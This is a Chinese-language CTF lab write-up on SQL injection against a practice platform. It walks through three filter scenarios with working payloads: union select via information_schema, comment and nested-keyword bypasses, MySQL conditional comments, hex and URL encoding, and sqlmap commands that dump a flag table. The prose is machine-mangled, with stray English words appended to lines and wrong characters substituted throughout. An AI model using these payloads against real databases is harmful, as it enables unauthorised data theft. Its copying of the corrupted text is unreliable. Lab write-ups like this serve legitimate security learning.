NF_Exp10_20164306

sql注入探索与实践(免考题)

1、综述

sql注入攻击实质上是利用程序设计中的漏洞实现的php

若是代码在引用sql语句以前,没有对传参内容进行控制,就容易被攻击者利用web

本课题基于“实验吧”提供的注入实验平台,对sql注入进行全面且深刻的探索性研究sql

由简单到复杂,在三种过滤条件下分析sql注入方法数据库

2、通常流程

我将实战sql注入的通常流程简述以下bash

1 关键字

首先枚举输入关键字,探索代码过滤的具体内容,即明确哪些内容可做为参数传入sql语句工具

关键字包括但不限于数字、字母、特殊符号、sql运算符测试

2 sql语句

而后构造参数使得代码引用sql语句时出现错误,经过错误信息对sql语句的具体内容进行判断网站

即明确代码具体引用了哪条或哪些sql语句编码

3 表单结构

实战中,为了全面深刻地发掘信息,咱们可能须要利用代码调用的sql语句探索表单结构甚至是数据库结构spa

4 辅助工具

必要时,使用辅助工具(编码、爆库 etc.)

3、情境一

界面以下所示

首先尝试输入最简单的注入代码 'or 1='1

很幸运,数据库直接就吐出了表单内容,能够看到其中有ID和name两个字段

猜想代码只是简单地调用了select语句,且没有对输入内容过滤

输入sql语句进行测试,发现部分语句被过滤

能够判断代码具备过滤机制,但并不完善,咱们能够构造输入内容绕过

不幸的是,当前表单中并无咱们想要的内容(flag),咱们须要对数据库结构和其余表单的内容进行探索

好在经过上述测试,咱们已经发现了代码漏洞

只要构造出合适的输入内容,咱们就能够随意地调用sql语句,查询其余表单中的内容

进一步实验发现代码对sql语句的过滤与空格有关

以上结果显示,代码过滤了and及and后的空格

同时,也有些sql语句不会被代码处理,好比以前实验中的or怎么都不会被代码过滤

保险起见,我在构造中用注释替换所有空格

经过select database()来肯定当前的数据库名

1' union/**/select/**/database()'

数据库名为web1

此外,也能够用tab来绕过,可是%a0啥的不行

information_schema 是 MySQL 自带的信息数据库,用于存储数据库元数据(关于数据的数据)

数据库名、表名、列的数据类型、访问权限等都存储在 information_schema 之中

尝试经过information_schema获取web1中的表单信息

1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/table_schema/**/='web1

然而报错了

实验发现,代码对table_schema这个字段进行了过滤,可是information_schema是能够正常输入的

 干脆就直接枚举所有的表单

1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/'1'='1

找到了一个名为flag的表单

获取form flag中的所有内容

1' union/**/select/**/*/**/from/**/flag/**/where/**/'1'='1

提示字段数量不一致,无法在使用union链接的状况下直接输出

没办法,只好先查看flag中有哪些字段

1' union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag

information_schema.columns离奇消失,看来是被过滤了

大胆猜想字段名也是flag

1' union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

嗯这应该是咱们要找的东西

ps:后来发现能够它不是经过判断某个单词,而是经过判断整个关键字来过滤

经过关键字里面套关键字的方法能够完成字段查看(删去套进去的内容后,留下的组合起来正常使用)

1' union/**/select/**/colucolumn_namemn_name/**/from/**/information_schema.coinformation_schema.columnslumns/**/where/**/table_name='flag

 

4、情境二

emmm,同样的界面

尝试最通常的 'or 1='1

好吧,开始测试被识别出的内容具体是啥

首先数字是没有问题的

数字加字母也没有问题

简单测试sql语句和特殊符号

看来是直接过滤了空格字符

查询数据库名

1'/**/union/**/select/**/database()'

失败

进一步发现是对部分sql语句进行了过滤

出现相应语句后直接禁止访问,并非删除后再提交,因此较难定位被检测的语句,也较难构造输入内容

继续尝试,输入1'的时候提示sql语句出错

综合报错信息和地址栏内容变化,猜想代码实现原理是定位输入框,获取其中内容做为sql查询时使用的参数

网站源码验证了这一猜测

受到URL启发,尝试把字母(select)转换成16进制表示,直接在地址栏中输入

尝试加入空字符(%00)

能够经过加入空字符绕过过滤

修改一下代码

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

使用%2B表示空格,在可能被过滤的单词间加入%00

1'/**/uni%00on/**/sel%00ect/**/flag/**/from/**/flag/**/w%00here/**/'1'='1

直接在URL中输入,提示错误,看来加%00不能从根本上解决问题

尝试两次ULR编码加字母大写,也没法绕过

尝试sql语句条件注释,利用其选择执行的性质把关键字输入进去,获得了flag

1'/*!union*//*!select*/flag/*!from*/flag/*!where*/'1'='1

注意到这里的select仍然是原始状态传过去的,但没被过滤

看来能够利用php无法解释sql注释的bug绕过,直接用注释替代所有空格,就能注入成功了

(晕,折腾半天后才发现最开始的输入就能注入成功)

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

 五 情境三

仍是这个界面

直接尝试用注释和条件注释绕过(失败)

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

1'/*!union*//*!select*/flag/*!from*/flag/*!where*/'1'='1

条件注释加16进制编码

1'/*!u%6eion*//*!sel%65ct*/flag/*!%66rom*/flag/*!wh%65re*/'1'='1

测试关键字,发现竟然是数字1被过滤了

把数字1换成字母a,用URL编码一次,再次尝试(仍是 hello)

a%27%2F*%21u%6eion*%2F%2F*%21sel%65ct*%2Fflag%2F*%21%66rom*%2Fflag%2F*%21wh%65re*%2F%27a%27%3D%27a

了解到在1被过滤的状况下,能够借助sqlmap工具进行注入

具体使用方法参考了别人的writeup,攻击过程mark以下

获得数据库

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs

判断数据库正确性

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db

得到表名

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --tables  

得到flag表中字段

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --columns -T "flag"

dump具体内容

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dump -C "flag" -T "flag"  

实质是一个暴力脚本,因此跑起来比较慢

跑完后获得结果

六 总结

经过实践对sql注入有了深刻的了解

除了说起的空格绕过、URL编码,16进制编码,sqlmap等方法,还有布尔盲注等其余技巧可用于攻击

只有深入理解原理,熟练掌握技巧,才能在实战中游刃有余

纯手工sql注入任重道远 

本站公众号
   欢迎关注本站公众号,获取更多信息